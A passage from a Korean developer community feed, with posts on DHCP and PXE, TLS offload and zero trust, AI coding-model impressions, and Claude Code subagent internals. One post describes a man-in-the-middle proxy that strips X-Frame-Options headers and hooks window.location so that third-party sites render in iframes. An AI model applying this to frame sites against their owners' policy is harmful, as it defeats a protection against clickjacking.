염산하

@[email protected] · 22 following · 15 followers

A software engineer in Seoul, and a father of a kid.

염산하

@[email protected]

소프트웨어 개발팀에는 파인다이닝 팀이 어울리는 비유인가?

염산하

@[email protected]

갑자기 "이븐하게 익지 않았어요"가 떠올라 버림 ㅠㅠ https://mastodon.social/@kepano/115831704433058850

洪 民憙 (Hong Minhee) :nonbinary:'s avatar
洪 民憙 (Hong Minhee) :nonbinary:

@[email protected] · Reply to 洪 民憙 (Hong Minhee) :nonbinary:'s post

This time, I tried writing a prompt to draw an illustration of the mascots from the Mastodon, Lemmy, Fedify, Misskey, and Akkoma projects all getting along together.

An illustration shows the mascots of several fediverse projects happily gathered in a sunny, green meadow with rolling hills and wildflowers. In the center, the blue dinosaur mascot of Fedify holds a paper with a colorful network diagram in its mouth, smiling. To the left, the yellow elephant mascot of Mastodon walks playfully with the small white mouse mascot of Lemmy perched on its trunk. To the right, the anime-style girl mascot of Misskey, wearing a sailor uniform and cat ears, kneels and smiles, with the white Among Us-like wizard mascot of Akkoma next to her. The overall mood is cheerful and friendly.
ALT text detailsAn illustration shows the mascots of several fediverse projects happily gathered in a sunny, green meadow with rolling hills and wildflowers. In the center, the blue dinosaur mascot of Fedify holds a paper with a colorful network diagram in its mouth, smiling. To the left, the yellow elephant mascot of Mastodon walks playfully with the small white mouse mascot of Lemmy perched on its trunk. To the right, the anime-style girl mascot of Misskey, wearing a sailor uniform and cat ears, kneels and smiles, with the white Among Us-like wizard mascot of Akkoma next to her. The overall mood is cheerful and friendly.
염산하

@[email protected] · Reply to Woojin Kim's post

@me systemd 유닛 설정으로 어떻게 되지 않을까요? 죽으면 살려주는 거 있을텐데요...

염산하

@[email protected]

손종원 좀 예술. 파인다이닝의 역량인가? 기획력과 구현력 최상급에 위기대처 능력까지. 서포트에 임할 때도 앞을 내다보는 서포터... (편집의 힘도 없진 않겠지만) 개인전 팀전 다 수준급이라니.

흑백요리사2

자손킴's avatar
자손킴

@[email protected]

DHCP(Dynamic Host Configuration Protocol)

DHCP는 IP주소, 서브넷 마스크, 기본 게이트웨이와 DNS 서버의 IP 주소 등 네트워크에 접속하기 위해 필요한 설정을 배포하는 프로토콜이다. RFC2131 에서 표준화 되어 있으며, DHCP의 역할, 메시지 형식, 형식을 구성하는 필드의 의미와 처리 흐름등이 상세하게 정의 되어 있다.

책에서는 DHCP를 L7에서 다루고 있는데, 정리하다보니 이게 L7에 있는게 맞나 싶은 생각이 든다.

IP 할당 방식

IP 주소를 단말(NIC)에 할당하는 방법에는 크게 '정적 할당'과 '동적 할당' 두 가지가 있다.

정적 할당

단말에 대해 일일이 수동으로 IP 주소를 설정하는 방식이다. 시스템 관리자가 비어있는 IP 주소를 사용자에게 할당해 준다.

정적 할당은 단말과 IP 주소가 고유하게 매핑되기 때문에 IP 주소 관리가 용이하다. 특정 IP의 이상 징후가 발생하면 어떤 단말이 문제인지 즉시 파악 할 수 있다. 그러나 단말의 수가 많아 지거나 교체가 빈번하면 하나씩 관리하기 어렵다는 문제가 있다.

동적 할당

DHCP를 사용하여 단말에 자동으로 IP 주소를 설정하는 방법이다. 정적 할당은 사용자가 시스템 관리자에게 요청하여 빈 IP 주소를 지급받아 수동 설정 했다면, 동적 할당은 이 모든 과정을 DHCP가 자동으로 처리한다.

DHCP 메시지 형식

DHCP는 UDP/67로 캡슐화된 DHCP 메시지 부분에 설정 정보를 담는다. DHCP 메시지는 여러 가지 필드로 구성되는데, 다음 3가지가 특히 중요하다.

  • 할당 클라이언트 IP 주소
    • DHCP 서버에서 단말에 배포하는 IP 주소
  • 클라이언트 MAC 주소
    • 단말의 MAC 주소
  • 옵션
    • 네트워크 설정에 관한 다양한 정보

옵션은 옵션 코드에 의해 식별되는데, 대표적인 코드는 다음과 같다.

  • (1) 서브넷 마스크
  • (3) 기본 게이트웨이
  • (6) DNS 서버 IP 주소
  • (12) 호스트 이름
  • (42) NTP 서버의 IP 주소
  • (51) IP 주소 임대 시간
  • (53) DHCP 메시지 유형
  • (54) DHCP 서버 ID

DHCP 처리 흐름

DHCP는 서버와 클라이언트로 구성되어 있다. DHCP 클라이언트가 있는 단말은 초기에는 IP가 할당되지 않은 상태이기 때문에 브로트캐스트를 통해 정보를 주고 받는다.

  1. DHCP Discover: 클라이언트가 네트워크에 접속하면 DHCP 서버를 찾기 위해 브로드캐스트로 Discover 메시지를 전송한다. 이 시점에서 클라이언트는 아직 IP 주소가 없으므로 출발지 IP는 0.0.0.0으로 설정된다.
  2. DHCP Offer: DHCP 서버가 Discover 메시지를 수신하면 할당 가능한 IP 주소와 서브넷 마스크, 임대 시간 등의 설정 정보를 담아 Offer 메시지를 유니캐스트로 응답한다. 네트워크에 여러 DHCP 서버가 존재하는 경우 클라이언트는 복수의 Offer를 수신할 수 있다.
  3. DHCP Request: 클라이언트가 수신한 Offer 중 하나를 선택하여 해당 DHCP 서버에 IP 주소 할당을 정식으로 요청한다. 이 메시지도 브로드캐스트로 전송되며, 선택되지 않은 다른 DHCP 서버들에게 해당 Offer가 거절되었음을 알리는 역할도 한다.
  4. DHCP ACK: DHCP 서버가 Request를 승인하면 ACK 메시지를 전송하여 IP 주소 할당을 확정한다. 클라이언트는 이 메시지를 수신한 후 비로소 할당받은 IP 주소를 사용할 수 있게 된다. 만약 요청한 IP 주소를 할당할 수 없는 경우에는 DHCP NAK 메시지가 전송된다.
  5. DHCP Release: 클라이언트가 더 이상 IP 주소를 사용하지 않을 때 서버에 반환을 알리는 메시지이다. 이 메시지를 수신한 서버는 해당 IP 주소를 풀(Pool)에 반환하여 다른 클라이언트가 사용할 수 있도록 한다.

IP 주소 임대와 갱신

DHCP로 할당받은 IP 주소는 영구적인 것이 아니라 임대 시간(Lease Time)이 정해져 있다. 클라이언트는 임대 시간이 만료되기 전에 갱신을 요청해야 하는데, 일반적으로 임대 시간의 절반(50%)이 경과하면 DHCP Request 메시지를 서버에 유니캐스트로 전송하여 갱신을 시도한다. 이 갱신이 실패하면 임대 시간의 7/8(87.5%)가 경과한 시점에 다시 브로드캐스트로 갱신을 시도하며, 그래도 실패하면 임대 만료 시 IP 주소 사용을 중단하고 처음부터 Discover 과정을 다시 수행한다.

네트워크 인프라 자동화의 기반이 되는 DHCP

DHCP는 IP 주소 할당 외에도 옵션 필드를 활용하여 다양한 부가 기능을 제공할 수 있다. 그 중 대표적인 것이 네트워크 부팅(PXE) 지원이다.

  • (66) TFTP 서버 이름
    • 부트 파일을 제공하는 TFTP 서버의 IP 주소 또는 호스트명
  • (67) 부트 파일 이름
    • 클라이언트가 다운로드해야 할 네트워크 부트 프로그램의 경로

PXE 부팅

PXE(Preboot Execution Environment)는 로컬 저장 장치 없이 네트워크를 통해 운영체제를 부팅하는 기술이다. PXE를 사용하면 서버의 NIC가 네트워크에서 부팅 이미지를 받아와 자동으로 OS 설치를 진행할 수 있다.

PXE 부팅의 동작 흐름은 다음과 같다.

  1. 클라이언트가 전원을 켜면 NIC의 PXE 펌웨어가 DHCP Discover 메시지를 브로드캐스트한다.
  2. DHCP 서버는 IP 주소와 함께 옵션 66(TFTP 서버 주소)과 옵션 67(부트 파일 경로)을 응답한다.
  3. 클라이언트는 TFTP 프로토콜을 사용하여 지정된 서버에서 부트 파일(예: pxelinux.0, bootx64.efi)을 다운로드한다.
  4. 다운로드한 부트 로더가 실행되어 OS 설치 또는 부팅이 진행된다.

이처럼 DHCP의 옵션 필드를 활용하면 단순한 IP 할당을 넘어 네트워크 인프라 자동화의 기반을 구축할 수 있다.

洪 民憙 (Hong Minhee) :nonbinary:'s avatar
洪 民憙 (Hong Minhee) :nonbinary:

@[email protected]

Using Nano Banana Pro, I composited an image to make it look like the cute dinosaur from the Fedify logo was standing in front of the ULB (Université libre de Bruxelles) building in Brussels, where FOSDEM is held.

A photograph showing a giant, animated blue cartoon brachiosaurus standing next to a real-world brick university building with large glass windows and the letters “ULB” on the façade. The friendly-looking dinosaur holds a white paper with a colorful network diagram in its mouth. Parked cars and a street are in the foreground under an overcast sky.
ALT text detailsA photograph showing a giant, animated blue cartoon brachiosaurus standing next to a real-world brick university building with large glass windows and the letters “ULB” on the façade. The friendly-looking dinosaur holds a white paper with a colorful network diagram in its mouth. Parked cars and a street are in the foreground under an overcast sky.
염산하

@[email protected]

일탈의 정상화

매일 업무에서 수많은 선택을 합니다. 데이터를 상부에 보고할 것인가, 이 정도 오차는 무시할 것인가 등이죠. 이런 선택 과정에서 더이상 문제라고 생각하지 않게 되는 작은 일탈들이 쌓여 전체적인 조직 문화를 형성합니다. 챌린저호 사고는 강력한 냉전을 배경으로 한 체제 경쟁의 압력이 크게 작용했다. 압력이 강하게 내려오면서 실무자들의 안전을 타협하는 문화가 고착된 것.

정상사고의 함정

1979년 스리마일 원전 사고 이후 미국 사회학자 찰스 페로가 제시한 이론. 핵발전소, 로켓 등 고도로 복잡하고 긴밀하게 연결된 시스템에서는 아무리 철저히 관리해도 사소한 실수나 예측 불가능한 상호작용으로 사고가 ‘정상적‘으로 즉, 피할 수 없이 발생한다.

과학동아 26년 1월호, 챌린저호 참사 40주기, 참사가 남긴 질문 중

자손킴's avatar
자손킴

@[email protected]

다음에 6장이 있지만 총정리를 하는 챕터이기 때문에 실질적인 내용은 여기까지가 끝이다. 책에서는 SSL 오프로드만 다루고 끝나지만 내부망 안에서의 보안도 짧게 정리했다.

TLS(SSL) 오프로드

TLS를 사용하면 보안이 강화되지만 TLS 핸드셰이크와 암복호화 작업에 CPU 자원을 많이 소모하게 된다. 이것을 전용 장비에 맡기면 웹서버는 효율적으로 애플리케이션 로직 처리에만 신경 쓰면 된다. 특히 로드밸런서에서 중앙집중식으로 TLS를 처리하면 웹서버의 부하가 크게 줄어들고 요청을 빠르게 처리할 수 있게 되어 시스템 전반적으로 부하 분산의 효과가 커진다. 특히 관리가 까다로운 공인 인증서를 로드밸런서에서 집중 관리할 수 있어 운영 부담이 크게 줄어든다.

TLS 오프로드 동작방식

  1. 클라이언트의 HTTPS 요청: 클라이언트가 웹 서비스에 접속하기 위해 HTTPS 요청을 보낸다. 이 시점에서 클라이언트는 TLS 핸드셰이크를 시작한다.

  2. 방화벽(fw1) 통과: 요청이 방화벽 fw1에 도달한다. 방화벽은 허용된 포트(443)로 들어오는 트래픽인지 확인하고, 패킷 필터링 규칙에 따라 트래픽을 통과시킨다. 이 단계에서 트래픽은 여전히 암호화된 상태이므로 일반적인 방화벽은 패킷의 내용을 검사할 수 없고 IP/포트 기반 필터링만 수행한다. (다만 SSL 인스펙션 기능이 있는 차세대 방화벽(NGFW)은 여기서 복호화 후 검사를 수행하기도 한다.)

  3. 로드밸런서(lb1)에서 TLS 종료: 로드밸런서 lb1이 클라이언트와 TLS 핸드셰이크를 완료한다. 서버 인증서를 클라이언트에게 제시하고 세션 키를 협상한 뒤 암호화된 트래픽을 복호화한다. 이 과정을 SSL/TLS Termination이라고 부른다.

  4. 평문 HTTP로 백엔드 전달: 로드밸런서는 복호화된 요청을 분석하여 라우팅 규칙에 따라 백엔드 서버 sv1 또는 sv2에 평문 HTTP로 전달한다. 이때 로드밸런서는 X-Forwarded-For, X-Forwarded-Proto 같은 헤더를 추가하여 원본 클라이언트 정보와 프로토콜 정보를 백엔드에 전달할 수 있다.

  5. 백엔드 서버 처리: 웹서버 sv1 또는 sv2는 평문 HTTP 요청을 받아 애플리케이션 로직을 처리하고 응답을 생성한다. 암복호화 작업이 없으므로 CPU 자원을 온전히 비즈니스 로직에 사용할 수 있다.

  6. 응답 암호화 및 전송: 백엔드 서버의 HTTP 응답이 로드밸런서 lb1로 돌아오면, 로드밸런서는 이를 TLS로 암호화하여 클라이언트에게 전송한다.

망분리는 만병통치약이 아니다.

TLS 오프로드를 하게 되면 로드밸런서를 통과한 패킷은 평문으로 내부망을 돌아다니게 된다. 책을 읽으며 처음에는 "어차피 방화벽 뒤에 있는 내부망이고 외부에서 접근이 차단되어 있으니 평문이어도 괜찮은 거겠군"이라고 생각을 했었다.

그러다 문득 망분리는 만병통치약이 아니라는 트윗이 기억이 났다.

https://x.com/simnalamburt/status/1823610803846517196?s=20

내부망이 안전하다는 가정은 내부자 위협, 자격 증명 탈취를 통한 침해, 그리고 한 시스템이 뚫린 후 내부망을 통해 다른 시스템으로 확산되는 횡적 이동 공격과 같은 위험이 도사리고 있다. 이른바 '침해 가정' 원칙에 따라, 공격자가 이미 망 내부에 들어와 있다는 전제로 보안 체계를 설계해야 한다.

Zero Trust 아키텍처

"결코 신뢰하지 말고 항상 검증하라(Never trust, always verify)"는 원칙에 따라 내부망과 외부망을 구분하지 않고 모든 접근에 대해 인증과 권한 검증을 수행한다. 마이크로 세그멘테이션을 통해 네트워크를 세분화하고 최소 권한 원칙을 적용한다.

mTLS

mTLS는 클라이언트와 서버가 서로의 인증서를 검증하여 양방향으로 신원을 확인하는 상호 인증 방식이다. 일반 TLS는 서버만 인증서를 제시하지만 mTLS에서는 클라이언트도 인증서를 제시해야 한다. Zero Trust 아키텍처에서 mTLS는 핵심 구성요소로 내부 서비스 간 통신에서도 모든 요청의 신원을 검증하여 "항상 검증하라"는 원칙을 기술적으로 구현한다.

그럼 굳이 TLS 오프로드 하지 말고 백엔드까지 암호화된 패킷을 전달하면 되는거 아닌가?

TLS 오프로드는 여전히 유효한 선택이다. L7 로드밸런서가 HTTP 헤더나 URL 경로, 쿠키를 분석해서 트래픽을 라우팅하려면 패킷 내용을 들여다볼 수 있어야 한다. WAF도 SQL 인젝션이나 XSS 같은 공격 패턴을 탐지하려면 평문 상태의 요청을 검사해야 한다. 암호화된 상태로는 이런 기능들이 불가능하다.

결국 L7 기능을 활용하려면 어디선가는 TLS를 종료해야 한다. 이때 공인 인증서 처리를 로드밸런서로 집중시키면 보안 정책 적용과 인증서 갱신이 훨씬 수월해진다.

만약 내부망 보안을 위해 재암호화가 필요한 TLS 브릿징(TLS Bridging) 방식을 사용하더라도 오프로드의 이점은 여전하다. 외부 노출용 공인 인증서는 로드밸런서가 전담하고, 내부 구간은 사설 CA나 자동화된 인증서 발급 체계(mTLS 등)를 이용해 백엔드 서버의 관리 부담을 최소화하면서도 보안과 가시성을 모두 챙길 수 있기 때문이다.

洪 民憙 (Hong Minhee)'s avatar
洪 民憙 (Hong Minhee)

@[email protected] · Reply to 洪 民憙 (Hong Minhee)'s post

오늘은 OpenCode에서 공짜로 제공하길래 MiniMax M2.1로 코딩을 좀 해봤다. 몇 시간 정도 해본 느낌으로는 GLM-4.7보다는 훨씬 나았고, 체감상으로는 대충 Claude Sonnet 4와 비슷한 정도로 말귀를 잘 알아듣는 느낌이었다. 컨텍스트 윈도가 긴 것도 장점이었다. 다만, 컨텍스트가 좀 길어지니까 끝도 없이 삽질을 반복하게 되어서, 그 쯤에서 모델을 GPT-5.1 Codex Max로 바꿔서 진행했다. GPT-5.1 Codex Max로 삽질 구간 벗어난 뒤에 금방 다시 MiniMax M2.1로 돌아와서 계속 코딩을 했고, 전반적으로 싼 값을 감안하면 굉장히 좋다고 느꼈다.

요즘에는 평소에 Claude Opus 4.5를 주력으로 사용하니까, 아무래도 비교가 될 수밖에 없었는데:

  • 역시나 눈치라고 해야 하나, 센스는 떨어진다. Claude Sonnet 4.5보다도 떨어지는 듯. 이를테면 Markdown 문서를 수정하도록 지시하면 기존의 일관성 있게 잘 짜여 있던 문서 서식이 금방 무너지는 게 느껴진다.
  • AGENTS.md의 세세한 지시를 좀 뭉개는 느낌이 있다. 예를 들면 TypeScript 코딩할 때 any 타입을 쓰지 말라고 했음에도 무시하고 사용한다든가. Claude 계열 모델들에서는 이런 건 잘 못 겪는다.
  • 작업의 맥락보다 이미 학습되어 있는 자신의 지식을 더 따르는 느낌이 있다. 이를테면 일부러 여러 JavaScript 런타임에서 두루 돌아가게 하려고 Deno API를 안 쓰고 Node.js API를 써서 짜 둔 코드베이스에서 갑자기 Deno API를 꺼내서 쓰기 시작하는 식이다. 이것도 눈치 문제로 볼 수도 있을 듯.
  • 그렇게 중요하진 않지만 자연어 응답에 언어가 조금 섞인다. 특히 국한문혼용체가 종종 나온다. 나로서는 오히려 좋다(?). 그런데 자세히 보면 대륙에서 쓰는 간화자가 아니라서, 중국어가 섞이는 건 아닌 것 같다. 아마도 일본어 아니면 대만/홍콩의 중국어가 섞이는 것 같다. 아니면 정말로 국한문혼용체일지도? 그리고 아랍어도 한 번 섞이는 걸 봤다.
  • 속도는 그냥저냥 쓸만하지만 딱히 빠른 것도 아닌데, 이건 OpenCode에서 공짜로 제공하는 걸 써서 그럴 수도 있다. Claude Opus 4.5보다는 약간 느리다고 느꼈지만, 이것도 그냥 체감이라 정확하진 않다. 삽질하는 걸 더 많이 봐서 느리다고 착각한 걸 수도 있고.

일단은 OpenCode에서 공짜로 제공하는 동안은 좀 더 써 볼 생각이다. 돈 내고 쓸 생각이 있냐 하면, 그건 좀 고민이 된다. 코딩 요금제를 보면 5시간에 300 프롬프트짜리가 월 20불 정도 된다. 지금은 Claude Max 요금제를 쓰고 있는데, 아무래도 부담이 좀 되긴 해서, Claude Pro로 내리고 MiniMax를 섞어서 쓰면 어떨까 생각만 해보고 있다.

소피아's avatar
소피아

@[email protected]

X-Frame-Options 의 악몽에서 깨어나세요, 프록시 서버 개발기

X-Frame-Options? 그게 뭔가요?

우리가 아는 몇몇 대형 웹 서비스들(유튜브 등)은 보통의 경우 다른 웹 사이트에서 iframe 요소를 통해 임베딩 되는 것을 거부하지 않습니다. 다만, 몇몇 웹 서비스는 다른 웹 페이지에서 iframe 요소를 통해 표시되길 거부합니다. 제품 정책 및 보안상의 이유로 표시를 거부하는 목적이 있겠습니다.

이러한 니즈를 충족시킬 수 있는 HTTP 헤더가 X-Frame-Options 입니다. 이 헤더의 값을 SAMEORIGIN 내지는 DENY로 설정하면, 직관적인 값에 따라 알맞게 프레임 내 임베딩 가능 여부를 결정할 수 있습니다.

네이버 웹 사이트의 Response Header 목록, X-Frame-Options가 명시되어 있다.

위 이미지에서 볼 수 있듯, 네이버는 X-Frame-Options 헤더를 명시함으로써 그 어떠한 출처에서도 프레임 내에 임베딩 되는 것을 거부한 상황입니다. #

왜 이걸 우회하나요?

image

웹 페이지 내에 다른 웹 페이지가 임베딩 되어 '미리보기' 처럼 제공되는 경험을 보신 적이 있으신가요? Omakase AI는 자사 프로덕트의 데모를 위와 같이 제공하고 있습니다. 캡쳐하여 실시간으로 전송되는 영상의 화면 위에, 자사 컨텐츠를 올려두어 실제 적용 시에 어떤 네러티브를 제공할지 데모 형식으로 보여줍니다.

문제는 이 모든 경험이 영상을 통해 진행 된다는 점 입니다. 영상 전송은 필연적으로 지연 시간이 존재할 수 밖에 없습니다. 여러분이 스크롤을 내리고, 클릭을 하는 등의 작은 인터렉션 하나가, 큰 지연 시간 뒤에 처리가 된다고 하면 유저는 답답하고 매끄럽지 않음을 느낄 것이고 이는 곧 이탈로 이어질 가능성이 있습니다. (구글은 비슷한 맥락에서 Core Web Vitals로써 INP를 설명하고 있습니다)

따라서 저는 영상을 보내는 나이브한 방법 이외의 유저의 브라우저에서 외부 웹 서비스를 표시할 좋은 방법을 찾아야 했고, 그것이 바로 프레임 내지는 iframe을 사용하는 방법 이었습니다. 이런 맥락에서 X-Frame-Options를 우회할 필요가 생긴 것 입니다.

어떻게 했나요?

중간자의 필요성

image

우리는 정상적인 방법으로는 제 3자 출처의 요청을 가로채어 응답 데이터 및 헤더를 조작할 수 없음을 잘 알고 있습니다. 여기서 필요한게 중간자 (Man in the Middle) 입니다. 누군가를 클라이언트 - 원격지 서버 사이에 두어, 서로에게 오가는 요청과 응답을 수정하는 작업을 수행하도록 하는 것 입니다. 그렇게 하면, 둘은 각자 수신한 요청과 응답이 모두 원본인지, 수정한 것인지 알 수 있는 방법은 거의 없을 것 입니다.[1]

image

이 중간자 역할을 하는 프록시 서버를 중간에 두어 요청을 모두 프록시 서버를 거치도록 하는 방법을 이용하는 것 입니다. 간단하게는 X-Frame-Options 응답 헤더의 제거가 있을 것 입니다. 중간자가 X-Frame-Options 헤더를 제거함으로 응답을 수신하는 클라이언트 브라우저의 iframe 요소는 큰 문제 없이 내용을 표시할 수 있게 됩니다.

여기서 끝이 아니다. URL을 조작하기

처음에는 그저 GET Query Parameter로 프록시 서버에게 어떤 원격 URL을 프록시 할 것인지 명시하도록 구현 했습니다. 예를 들면 다음과 같은 형식이 될 수 있겠습니다:

https://example.com/proxy?target=https://www.naver.com/...

보통의 경우에는 별 문제 없이 동작 했습니다만, 재앙은 그다지 먼 곳에 있지 않았습니다. 만약 다음과 같은 코드가 원격지 웹 서비스 코드에 있다고 해봅시다. 아래 코드는 무신사 웹 페이지의 빌드된 소스코드 입니다:

import {E as k0} from "./vendor/react-error-boundary.js";
import {b as o0, d as Wt} from "./vendor/react-router.js";
import {d as F0} from "./vendor/dayjs.js";
import {L as Qt} from "./vendor/lottie.js";
import "./vendor/scheduler.js";
import "./vendor/prop-types.js";
import "./vendor/react-fast-compare.js";
import "./vendor/invariant.js";
import "./vendor/shallowequal.js";
import "./vendor/@remix-run.js";
import "./vendor/tslib.js";
import "./vendor/@emotion.js";
import "./vendor/stylis.js";
import "./vendor/framer-motion.js";
import "./vendor/motion-utils.js";
import "./vendor/motion-dom.js";

무신사는 내부적으로 ESM을 사용해서, import 구문을 통해 필요한 에셋을 불러오는 코드를 사용중에 있습니다. 문제는 여기서 발생합니다. import 의 대상이 되는 소스코드가 상대 경로를 따르게 되어 아래와 같은 결과를 초래하게 됩니다.

https://example.com/proxy?target=https://www.naver.com/...

위와 같은 URL을 표시하고 있는 `iframe` 요소에서,
`import "./vendor/framer-motion.js"` 구문을 만난다면..

https://example.com/proxy/vendor/framer-motion.js 를 요청하게 됨.

이를 해결하기 위해, 프록시 된 대상 URL에 대한 개념의 도입이 필요 했습니다. 상대 경로 진입에도 안정적으로 작동할 수 있는 새로운 방식의 접근이 필요 했습니다. 저는

  1. 상대 경로 접근에도 안전하며,
  2. 원본 URL의 구조를 그대로 남길 수 있는 구조

를 생각해 냈어야 했고, 그 결과는 이렇습니다. https://section.blog.naver.com/BlogHome.naver?directoryNo=0&currentPage=1&groupId=0 를 예시로 들면, 프록시화 (Proxified) 된 URL은 다음과 같은 것 입니다.

https://example.com/proxy/section/blog/naver/com/_/BlogHome.naver?...

URL hostname. 구분자를 /로 치환하고, 이후의 모든 pathname, search 등은 모두 _ 구분자 뒤로 넘김으로서 URL의 원형을 유지할 수 있게 됩니다. 추가적으로 상대 경로 접근에도 안전한 URL을 만들 수 있습니다.

최종 보스가 남아있다. HTML API 후킹하기

우리는 상대 경로 문제를 해결하기 위해 URL을 프록시화 하는 방법을 사용했고, 이는 제대로 동작하는 듯 해보였습니다. 악몽은 React, Vue 등의 SPA 웹 앱을 프록시하여 표시하는 데에서 시작 되었습니다.

React, Vue 와 같은 프레임워크들은 History API 및 window.location 객체를 기반으로 한 Routing 기능을 제공하고 있습니다.[2] 이 말은, 결국엔 어떤 프레임워크가 되었든 저수준 빌트인 자바스크립트 API를 사용할 수 밖에 없다는 것을 의미 합니다. 그렇다면 직관적으로 생각 해봤을 때,

window (및 globalThis) 객체의 location 속성의 값을 변경해주면 되지 않겠나?

라고 생각할 수 있습니다. 그러나 이는 불가능 합니다.

image

어떠한 이유 때문인지는 알 길이 없었지만, 자바스크립트는 그렇게 만만한 존재가 아니었습니다. 다른 좋은 방법을 찾아야 할 필요가 있었고, 결론에 도달하는 데에는 오랜 시간이 걸리지 않았습니다. 그것은 바로 원격지 웹 페이지에서 실행되는 모든 스크립트의 window.location 객체 접근을 감시하면 어떨지에 대한 아이디어 였습니다.

번들된 소스코드의 경우 대체적으로 다음과 같은 형식을 가지게 됩니다:

const l = window.location;
/* ... */ l.pathname /* ... */

여기서 우리는 변수 lwindow.location의 별칭인지 소스코드만 분석해서는 알기 매우 어렵습니다. 따라서, babel을 사용해서 소스코드를 AST로 분석하고, 모든 프로퍼티 접근을 특정 함수 호출로 변환하면, '특정 함수'에서 모든 것을 처리할 수 있으니 좋을 것 같다는 생각이 있었고, 실행에 옮겼습니다:

const l = window.location;
l.pathname;

// 위 코드는 아래와 같이 변환됨

const l = __internal_get__(window, 'location');
__internal_get__(l, 'pathname');

__internal_get__ 함수 내부에서 첫번째 인자가 window.location 과 동일한 인스턴스를 가지고 있는지 비교하거나, 두번째 인자인 프로퍼티 키를 비교해서 href 등의 값이라면, 원하는 값을 반환하도록 후킹 함수를 만들 수 있겠습니다.

function __internal_get__(owner, propertyKey) {
  if (owner === window.location) {
    return {
      get href() { /* proxified 된 url을 기반으로 Router를 속이는 URL을 반환하는 로직 */ }
    }
  }

  // ...
}

마치며

글에 열거한 내용 이외에도 정말 많은 기술이 사용 되었는데, 아주 재밌는 경험 이었습니다. 혹여나 이러한 비슷한 기능을 하는 기능을 개발할 일이 있으시다면, 도움이 됐으면 좋겠습니다.


  1. 여기서 거의 라는 표현을 사용한 이유는, 제 짧은 식견에서 보자면 비슷한 맥락에서 사용하는 기법으로 integrity 속성이 있을 수 있겠습니다. ↩︎

  2. 예를 들면, location.pathname을 읽어 현재 Route가 어떤 Route인지 감지하는 등의 동작이 있겠음. ↩︎

자손킴's avatar
자손킴

@[email protected]

지난 글에서는 Tool Use가 무엇이고 어떻게 동작하는지 알아보았다. 이번 글에서는 subagent가 Tool Use 위에서 어떻게 동작하는지 알아볼 것이다.

Tool Use 정리

Subagent 설명에 앞서 Tool Use를 간단히 정리해보고 넘어가자.

┌─────────────────────────────────────────────────────────────┐
│                        메인 메시지 루프                         │
│                                                             │
│   ┌──────┐    request     ┌─────────┐    API call   ┌─────┐ │
│   │ User │ ─────────────► │  Agent  │ ────────────► │ LLM │ │
│   │      │ ◄───────────── │         │ ◄──────────── │     │ │
│   └──────┘    response    │         │   tool_use    └─────┘ │
│                           │    │    │                       │
│                           │    ▼    │                       │
│                        ┌──────────────┐                     │
│                        │    Tools     │                     │
│                        │ (Bash, Read, │                     │
│                        │  Glob, ...)  │                     │
│                        └──────────────┘                     │
└─────────────────────────────────────────────────────────────┘

Tool Use는 LLM이 외부 도구를 호출할 수 있게 해주는 메커니즘이다. Agent는 LLM에게 사용 가능한 도구 목록을 제공하고 LLM은 필요할 때 tool_use 응답을 반환한다. Agent는 해당 도구를 실행하고 결과를 다시 LLM에게 전달한다. 이 과정이 반복되면서 복잡한 작업을 수행한다.

Subagent란?

Subagent는 특정 작업에 특화된 AI 에이전트다. 각 subagent는 자신만의 컨텍스트 윈도우에서 독립적으로 작동하며 완료되면 결과를 메인 에이전트에게 반환한다.

Claude Code에서 subagent는 Task라는 도구로 구현되어 있다. 메인 에이전트의 시스템 프롬프트에는 Task 도구의 description으로 사용 가능한 모든 subagent 목록과 각각의 용도가 포함된다. 메인 에이전트는 이 description을 참고하여 적절한 subagent를 선택한다. 예를 들어 "코드베이스 구조 파악"이 필요하면 Explore를, "데이터베이스 스키마 설계"가 필요하면 database-schema-architect를 호출한다.

Subagent의 구조

Subagent는 마크다운 파일로 정의되고 YAML frontmatter에 다음과 같은 설정을 포함한다.

---
name: code-reviewer
description: Expert code review specialist. Use immediately after writing or modifying code.
tools: Read, Grep, Glob, Bash
model: sonnet
---

You are a senior code reviewer ensuring high standards of code quality and security.

When invoked:
1. Run git diff to see recent changes
2. Focus on modified files
3. Begin review immediately

Review checklist:
- Code is simple and readable
- Functions and variables are well-named
...

각 필드의 역할은 다음과 같다:

필드 설명
name subagent의 고유 식별자
description 언제 이 subagent를 사용해야 하는지 설명
tools 이 subagent가 사용할 수 있는 도구 목록
model 사용할 모델 (sonnet, opus, haiku 또는 inherit)

YAML frontmatter 아래의 마크다운 본문이 subagent의 시스템 프롬프트가 된다. 이 프롬프트는 subagent가 호출될 때 API 요청의 system 필드에 주입되어 subagent의 행동을 정의한다.

이 subagent 정의는 메인 에이전트의 시스템 프롬프트에 있는 tools 섹션의 Task 도구 설명에 포함된다:

{
  "name": "Task",
  "description": "Launch a new agent to handle complex, multi-step tasks autonomously.

Available agent types and the tools they have access to:
- Explore: Fast agent specialized for exploring codebases. (Tools: All tools)
- Plan: Software architect agent for designing implementation plans. (Tools: All tools)
- database-schema-architect: Use this agent when you need to design database schemas...
...
"
}

Task 도구의 input schema는 다음과 같다:

{
  "type": "object",
  "properties": {
    "subagent_type": {
      "type": "string",
      "description": "The type of subagent to launch"
    },
    "prompt": {
      "type": "string",
      "description": "The task to delegate to the subagent"
    },
    "description": {
      "type": "string",
      "description": "Short description of what the agent will do"
    }
  }
}
  • subagent_type: 호출할 subagent 종류 (Explore, Plan, general-purpose 등)
  • prompt: subagent에게 전달할 작업 지시. 이 내용이 subagent의 user 메시지가 된다
  • description: 3-5단어의 짧은 요약. 로그나 UI에 표시된다

Subagent 호출 과정

실제 메시지 흐름을 통해 subagent가 어떻게 동작하는지 살펴보자.

1단계: 메인 에이전트가 Task 도구 호출

사용자가 "선물을 주고받는 기능을 위한 entity 설계"를 요청했다고 하자. 메인 에이전트(Opus 4.5)는 먼저 코드베이스를 탐색해야 한다고 판단하고 Explorer subagent를 호출한다:

{
  "content": [
    {
      "type": "thinking",
      "thinking": "사용자가 선물을 주고받는 기능을 위한 entity 설계를 요청했습니다. Plan mode가 활성화되어 있으므로, 먼저 코드베이스를 탐색하여 기존 구조를 이해해야 합니다.\n\nPhase 1에 따라:\n1. 기존 entity 구조와 패턴을 이해하기 위해 Explore agent를 사용\n2. 선물 관련 기존 구현이 있는지 확인\n3. 사용자와 아이템 관련 entity가 어떻게 구성되어 있는지 파악\n\n먼저 Explore agent를 사용하여 기존 entity 구조를 파악하겠습니다."
    },
    {
      "type": "text",
      "text": "선물 주고받기 기능을 위한 entity 설계를 시작하겠습니다. 먼저 기존 코드베이스의 entity 구조와 관련 패턴을 탐색하겠습니다."
    },
    {
